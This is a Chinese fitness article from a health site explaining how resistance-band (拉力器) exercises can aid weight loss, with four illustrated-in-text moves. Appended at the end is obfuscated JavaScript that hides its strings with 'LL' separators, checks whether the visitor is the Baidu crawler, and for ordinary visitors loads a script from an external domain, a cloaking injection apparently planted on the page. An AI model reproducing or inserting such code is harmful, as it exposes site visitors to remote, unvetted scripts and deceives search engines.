当前位置:首页 > 减肥 > 运动减肥 > 正文

拉力器减肥吗

2017-04-22 10:06:54  来源:360常识网   热度:
导语:肥胖或是想有一个好身材的女性都在进行减肥,生活当中减肥的方法也很多,其中运动就是最有效果的一种方法,我们也有好多的朋友是通过拉力器

肥胖或是想有一个好身材的女性都在进行减肥,生活当中减肥的方法也很多,其中运动就是最有效果的一种方法,我们也有好多的朋友是通过拉力器来进行减肥的,只要掌握好方法和步骤,减肥的效果也是特别明显的,那么针对好多朋友提出的拉力器减肥吗?我们通过下面的介绍来进行一下了解。

拉力器是一款简单的健身器材。它可以使你的上身肌肉群得到整体煅炼,在减少脂肪的同时会达到减肥的效果。

1.直臂下拉

两脚开立,两手握拉力器两端举于头上。直臂将拉力器向两侧下拉,静止片刻,慢速还原。

2.臂弯举

直立,用脚踩住拉力器下端,同侧手握住上端把柄,上臂紧贴体侧。前臂弯举,至肱二头肌彻底收缩。两臂交替做。上臂与前臂之间的夹角在50 - 60度之间为最佳。

3.后臂屈伸

两脚开立,一手握拉力器下端,另一手于头后握拉力器上端把柄。上面的手臂用力向上挺伸,静止片刻,慢速还原。两臂交替做。

4.双肩上耸

两脚踩住拉力器下端,两手分握拉力器上端把柄。双肩先后做前耸、后耸和上耸动作,静止片刻,慢速还原。

通过上述的介绍,我们知道了拉力器也是可以达到减肥的效果,不过在用拉力器的时候需要注意的就是需要动作缓慢一点,如果动作过快就成了无氧运动不但达不到减肥的效果,而且还会让我们的肌肉越来越发达,不过拉力也不能太小了。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}